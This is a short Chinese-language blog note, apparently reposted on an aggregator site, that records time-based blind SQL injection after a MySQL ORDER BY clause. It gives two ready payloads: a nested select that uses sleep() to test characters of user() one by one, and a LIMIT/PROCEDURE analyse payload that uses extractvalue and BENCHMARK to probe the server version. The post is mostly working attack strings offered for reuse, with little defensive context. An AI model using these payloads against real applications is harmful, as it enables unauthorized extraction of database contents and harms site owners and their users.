order by后面的注入，一般先嘗試報錯注入，無報錯的時候可以通過rand(ture)和rand（false）來進行bool型盲注，但是今天遇到完全沒有數據回顯的(也就是數據庫中沒有數據)情況，這就比較麻煩了。記錄一下sql語句

　　參考文章：https://www.cnblogs.com/babers/p/7397525.html

　　　　　　　https://www.cnblogs.com/Vinson404/p/7246792.html?utm_source=itdadao&utm_medium=referral

?

簡單點說：目前好像只有5.5和5.7下能注入，5.6不行(個人觀點，不一定對)

由于本地只有mysql5.6 和5.7，這里復現漏洞時用的5.7

?

5.7 語句??? order by (select 1 from(select 1 and if(ascii(substr((user()),1,1))=114,sleep(5),1))x)#???? (備注一下，mysql規定嵌套的表名中必須要有別名)

?

?

?

?

?

5.7? 這種情況可以轉化為limit后的注入

ORDER BY id LIMIT 1,1 PROCEDURE analyse((select extractvalue(rand(),concat(0x3a,(IF(MID(version(),1,1) LIKE 5, BENCHMARK(5000000,SHA1(1)),1))))),1)

?

轉載于:https://www.cnblogs.com/jinqi520/p/11599535.html

總結

以上是生活随笔為你收集整理的mysql order by基于时间的盲注的全部內容，希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯，歡迎將生活随笔推薦給好友。